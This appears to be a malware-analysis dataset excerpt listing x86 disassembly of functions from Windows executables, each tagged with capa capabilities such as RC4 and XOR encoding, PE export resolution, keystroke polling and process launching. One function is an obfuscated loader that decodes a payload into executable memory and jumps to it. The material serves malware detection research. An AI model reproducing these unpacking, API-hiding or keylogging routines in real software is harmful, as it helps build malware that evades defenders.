joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4f1330
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x13c
mov ebx, dword [esp + 0x150]
call sub.msvcrt.dll__errno
mov dword [eax], 0
test ebx, ebx
je 0x4f14b0
cmp byte [ebx], 0
je 0x4f1478
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
sub esp, 4
cmp eax, 0xffffffff
je 0x4f14c0
test al, 0x10
je 0x4f1478
lea esi, [esp + 0x2c]
mov dword [esp + 4], ebx
mov dword [esp + 8], 0x104
mov dword [esp], esi
call sub.msvcrt.dll__fullpath
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp + 0x1c], eax
mov ebx, eax
lea eax, [eax + 0x233]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov edx, eax
test eax, eax
je 0x4f14cf
lea ebp, [eax + 0x22c]
lea eax, [ebx + 1]
cmp eax, 4
jb 0x4f1450
mov ecx, dword [esp + eax + 0x28]
mov edi, ebp
mov dword [ebp + eax - 4], ecx
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
cmp byte [edx + 0x22c], 0
je 0x4f13fa
movzx ecx, byte [edx + ebx + 0x22b]
cmp cl, 0x5c
je 0x4f13fa
cmp cl, 0x2f
jne 0x4f1498
mov eax, dword [esp + 0x1c]
mov ecx, 0x2a
lea ebx, [edx + 0x120]
mov edi, ebx
mov word [ebp + eax], cx
xor eax, eax
mov ecx, 0x41
mov dword [edx + 0x224], 0xffffffff
mov dword [edx + 0x228], 0
mov dword [edx + 0x118], 0
mov dword [edx + 0x11c], 0
rep stosd dword es:[edi], eax
add esp, 0x13c
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
test eax, eax
je 0x4f13db
movzx ecx, byte [esp + 0x2c]
mov byte [ebp], cl
test al, 2
je 0x4f13db
movzx ecx, word [esp + eax + 0x2a]
mov word [ebp + eax - 2], cx
jmp 0x4f13db
call sub.msvcrt.dll__errno
xor edx, edx
mov dword [eax], 0x14
add esp, 0x13c
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, 0x5c
mov dword [esp + 0x1c], eax
mov word [ebp + ebx], si
jmp 0x4f13fa
call sub.msvcrt.dll__errno
xor edx, edx
mov dword [eax], 0xe
jmp 0x4f1485
call sub.msvcrt.dll__errno
xor edx, edx
mov dword [eax], 2
jmp 0x4f1485
call sub.msvcrt.dll__errno
xor edx, edx
mov dword [eax], 0xc
jmp 0x4f1485
Function at 0x401120
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov eax, 0x2b
xor esi, esi
mov ebx, 0xc5d
mov edi, 0xe43
mov ecx, 0x57d9
mov edx, 0xf8
cmp eax, 0xf8
cmovl eax, edx
dec ecx
jne 0x401141
lea esp, [esp]
inc esi
mov eax, 0x2aaaaaab
imul esi
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
add ecx, ecx
mov eax, esi
sub eax, ecx
jne 0x40116d
add esi, 2
cmp esi, 0x34d8
jl 0x401150
mov esi, dword [ebp + 8]
test esi, esi
je 0x401246
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x401246
cmp esi, eax
jae 0x401246
mov ecx, 0x663c
mov edx, 0x12
mov eax, 0x8f
cmp eax, 0x12
cmovl eax, edx
dec ecx
jne 0x4011a2
mov ecx, 0x145b
mov eax, 0x82082083
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x4011b0
sub dword [ebp + 0xc], esi
mov esi, 0x2de1
lea ecx, [ecx]
mov eax, 0x38e38e39
imul esi
sar edx, 3
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x4011d0
mov esi, dword [ebp + 8]
mov ecx, 0x6e2c
jmp 0x4011f0
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x4011f0
mov edx, dword [ebp + 0xc]
test edx, edx
je 0x401220
lea esp, [esp]
mov al, byte [ecx + esi + 1]
sub al, 0x30
xor byte [ecx + esi], al
inc ecx
cmp ecx, edx
jb 0x401210
mov edi, edi
mov eax, 0x532ae21d
imul ebx
sar edx, 6
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x401220
mov eax, 0x4c346405
imul edi
sar edx, 6
mov edi, edx
shr edi, 0x1f
add edi, edx
jne 0x401233
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x402600
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, 0x5d21
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov ebx, 0x7986
jmp 0x402620
mov eax, 0x19c2d14f
imul ebx
sar edx, 4
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x402620
mov ebx, esi
cmp dword [ebp + 0xc], esi
je 0x402830
mov edi, edi
inc edi
mov eax, 0x66666667
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*4]
add ecx, ecx
mov eax, edi
sub eax, ecx
jne 0x402660
add edi, 2
cmp edi, 0x34d8
jl 0x402640
cmp dword [ebp + 0x10], ebx
jne 0x402676
cmp dword [ebp + 0x18], ebx
je 0x402845
mov ebx, 0x3177
jmp 0x402680
mov eax, 0x44d72045
imul ebx
sar edx, 5
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x402680
mov eax, dword [ebp + 0xc]
mov ecx, 0x5a4d
mov edi, dword [eax + 0x3c]
add edi, eax
mov ebx, esi
cmp word [eax], cx
jne 0x402845
cmp dword [edi], 0x4550
jne 0x402845
mov eax, dword [edi + 0x7c]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x402845
mov ecx, 0x63ad
mov edx, 0x56
mov eax, 0xc1
cmp eax, 0x56
cmovl eax, edx
dec ecx
jne 0x4026d4
mov ecx, 0x27e7
mov edx, 0xb7
mov eax, 0x1a
lea esp, [esp]
cmp eax, 0xb7
cmovl eax, edx
dec ecx
jne 0x4026f0
jmp 0x402700
inc ebx
mov eax, 0x38e38e39
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, ebx
lea eax, [eax + eax*8]
sub ecx, eax
jne 0x40271b
inc ebx
cmp ebx, 0x44b1
jl 0x402700
mov eax, 0x57d9
mov edx, 0x11
mov ecx, 0x88
cmp ecx, edx
cmovl ecx, edx
dec eax
jne 0x402732
mov ecx, dword [ebp + 0xc]
mov ebx, dword [edi + 0x78]
add ebx, ecx
mov esi, 0xac3
mov eax, dword [ebx + 0x20]
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x24]
add eax, ecx
mov dword [ebp - 8], eax
mov eax, dword [ebx + 0x1c]
add eax, ecx
mov dword [ebp - 0xc], eax
nop
mov eax, 0x2aaaaaab
imul esi
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x402760
mov eax, dword [ebp + 0x10]
shr eax, 0x10
test eax, eax
je 0x402845
mov esi, 0x9c9
mov eax, 0x66666667
imul esi
sar edx, 1
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x402783
mov eax, 0x3d58
mov edx, 0xfe
mov ecx, 0xdf
cmp ecx, edx
cmovg ecx, edx
dec eax
jne 0x4027a4
xor edi, edi
cmp dword [ebx + 0x18], esi
jbe 0x402845
mov eax, dword [ebp - 4]
mov eax, dword [eax + edi*4]
add eax, dword [ebp + 0xc]
push eax
push dword [ebp + 0x10]
call fcn.004031c0
add esp, 8
test eax, eax
jne 0x4027dd
inc edi
cmp edi, dword [ebx + 0x18]
jb 0x4027b7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
movzx eax, word [eax + edi*2]
mov edi, dword [ebp - 0xc]
mov edi, dword [edi + eax*4]
add edi, dword [ebp + 0xc]
lea ecx, [ecx]
inc esi
mov eax, 0x55555556
imul esi
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, esi
lea eax, [eax + eax*2]
sub ecx, eax
jne 0x40280b
add esi, 2
cmp esi, 0x7f2b
jl 0x4027f0
cmp edi, ebx
jbe 0x402820
mov eax, dword [ebp - 0x10]
add eax, ebx
cmp edi, eax
jb 0x402845
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0xb81702e1
imul ecx
add edx, ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x402830
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402fe0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov eax, 0xfa
push edi
mov edx, 0x2e
mov edi, 0x6d7d
lea esi, [eax - 0x32]
xor ecx, ecx
mov ebx, 0x233c
mov dword [ebp - 4], 0xeba
mov dword [ebp - 8], 0xe6
cmp edx, 0xe6
cmovg edx, dword [ebp - 8]
dec dword [ebp - 4]
jne 0x403010
mov edx, 0x663c
mov dword [ebp - 8], 0xaf
jmp 0x403030
cmp eax, 0xaf
cmovl eax, dword [ebp - 8]
dec edx
jne 0x403030
lea esp, [esp]
mov eax, 0x7e07e07f
imul edi
sar edx, 5
mov edi, edx
shr edi, 0x1f
add edi, edx
jne 0x403040
mov eax, 0x6f75
mov edx, 0x49
lea ecx, [ecx]
cmp esi, edx
cmovg esi, edx
dec eax
jne 0x403060
mov esi, dword [ebp + 8]
jmp 0x403070
inc ecx
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea edx, [eax*8]
sub edx, eax
mov eax, ecx
sub eax, edx
jne 0x403094
inc ecx
cmp ecx, 0x405c
jl 0x403070
inc byte [esi + 0x11f]
mov cl, byte [esi + 0x11f]
jmp 0x4030b0
mov eax, 0x7a44c6b
imul ebx
sar edx, 2
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x4030b0
movzx eax, byte [esi + 0x122]
movzx edi, cl
lea ebx, [esi + 0x19]
add edi, ebx
movzx ecx, byte [edi]
add eax, ecx
mov byte [esi + 0x122], al
movzx esi, al
add esi, ebx
push esi
push edi
call fcn.00403550
movzx eax, byte [esi]
add al, byte [edi]
movzx ecx, byte [ebp + 0xc]
movzx eax, al
add esp, 8
mov al, byte [eax + ebx]
pop edi
movzx eax, al
pop esi
xor eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402ca5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x402cb4
pop dword [ebp - 0x1c]
mov eax, 0x8912a725
add eax, 0x772d858f
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x835bbba4
sub dword [ebp - 0x2c], 0x35097659
mov dword [ebp - 0x28], 0xc50b752d
add dword [ebp - 0x28], 0x6d27d718
mov dword [ebp - 0x24], 0x58697cce
sub dword [ebp - 0x24], 0xc1d38a0
mov dword [ebp - 0x20], 0x65993753
sub dword [ebp - 0x20], 0x65993753
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xc041d5a1
sub eax, 0xc001645d
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x36a36d74
sub dword [ebp - 0x2c], 0xc231041e
mov dword [ebp - 0x28], 0xe9fca1a7
add dword [ebp - 0x28], 0x576fbfce
mov dword [ebp - 0x24], 0xba5b0707
add dword [ebp - 0x24], 0xa9146565
mov dword [ebp - 0x20], 0xa00c45b8
sub dword [ebp - 0x20], 0xa00c45b8
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x6935a3
sub eax, 0x28c493
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x372a3
push 0
call eax
mov ecx, 0xa7c4cb9f
add ecx, 0x583b7d26
xor edi, edi
add edi, eax
mov edx, 0x436000
add edx, dword [ebp - 0x1c]
mov esi, 0x9265641c
sub esi, 0xea1b1a1e
xor dword [ebp - 4], 0xf29fa993
mov ebx, dword [edx]
sub ebx, esi
xor dword [ebp - 0xc], edi
mov dword [edi], ebx
add dword [ebp - 0xc], ebx
add edi, 0xc0a28397
sub edi, 0xc0a28393
add edx, 0xf4848da5
add edx, 0xb7b725f
loop 0x402dd2
add eax, 0xb73f2b4e
add eax, 0x48c1ea99
xor ebx, ebx
add ebx, eax
add eax, 0x32de0e1c
add eax, 0xcd21f1e9
mov ecx, 0x400000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x407fd4
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.00408184
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x4080d2
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x408075
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x4080b8
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x40808c
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x4080a7
test al, 0x40
je 0x40809e
mov ecx, dword [edi + 0x20]
jmp 0x4080a5
test al, 0x80
je 0x4080b8
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x4080b8
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x408044
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x413a20
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x48dfcb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004829a7
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x413aa2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0048025a
mov eax, dword [eax]
push 0x4cac88
push eax
call fcn.00472da4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00482c32
test bl, bl
je 0x413aa2
push 0x4cac88
lea ecx, [esp + 0xc]
call fcn.00482fc2
push 0x4cac94
lea ecx, [esp + 0xc]
call fcn.00482fc2
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x413ade
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00482c32
jmp 0x413ba9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x413b62
lea edx, [esp + 0x7c]
push 0x4cac90
push edx
call fcn.00472da4
add esp, 8
test eax, eax
je 0x413b62
lea eax, [esp + 0x7c]
push 0x4cac8c
push eax
call fcn.00472da4
add esp, 8
test eax, eax
je 0x413b62
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x413af2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00482c32
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4143b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x414412
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x414420
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x48e04b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4d45f8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x414558
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x414486
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00482c32
xor eax, eax
jmp 0x4145cf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00482d6f
push esi
lea ecx, [esp + 0xc]
call fcn.00482ffe
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4145ad
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.004143b0
test eax, eax
jne 0x4145ad
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.004143b0
test eax, eax
jne 0x4145ad
lea eax, [esp + 0x14]
push 0x4caca4
push eax
call fcn.00473ef0
mov esi, eax
add esp, 8
test esi, esi
jne 0x41458c
lea ecx, [esp + 0x14]
push 0x4caca0
push ecx
call fcn.00473e70
mov esi, eax
add esp, 8
test esi, esi
jne 0x41458c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41458f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00482d1f
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41449e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00482c32
xor eax, eax
jmp 0x4145cf
mov byte [esi], 0
push 0x4cac9c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00482c32
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4262a0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42630e
cmp si, 0x69
ja 0x42630e
add esi, 0xffd0
cmp si, 0x11
je 0x4262de
push 0x11
call edi
test ax, ax
jge 0x4262de
or esi, 0x2000
cmp si, 0x10
je 0x4262f3
push 0x10
call edi
test ax, ax
jge 0x4262f3
or esi, 0x4000
cmp si, 0x12
je 0x426308
push 0x12
call edi
test ax, ax
jge 0x426308
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42631b
mov esi, 0xbd
jmp 0x4262cf
cmp si, 0x6e
jne 0x426328
mov esi, 0xbe
jmp 0x4262cf
cmp si, 0x6f
jne 0x4262c9
mov esi, 0xbf
jmp 0x4262cf

Function at 0x427bd0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4e4ea0]
xor edx, edx
cmp eax, edx
jne 0x427bf6
xor eax, eax
mov byte [eax + 0x4e4da0], al
inc eax
cmp eax, 0x100
jl 0x427bde
mov dword [0x4e4ea0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4e4da0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x427c87
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x427c5a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x427c28
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x427d00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x427d53
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x427d3a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42ed80
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x42ef18
cmp ebp, ebx
jle 0x42ef18
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x42edde
dec eax
or eax, 0xfffffff8
inc eax
je 0x42ede5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x42edf4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42edfb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00482973
add esp, 4
cmp eax, ebx
je 0x42ee1c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00482973
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42ef0e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x42eef5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x42eee1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x42eed6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x42eee4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x42eee4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x42ee80
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x42ee71
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x432260
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x48f878
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x432299
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.0048a34a
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.0048a396
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00432320
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0048a3d3
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24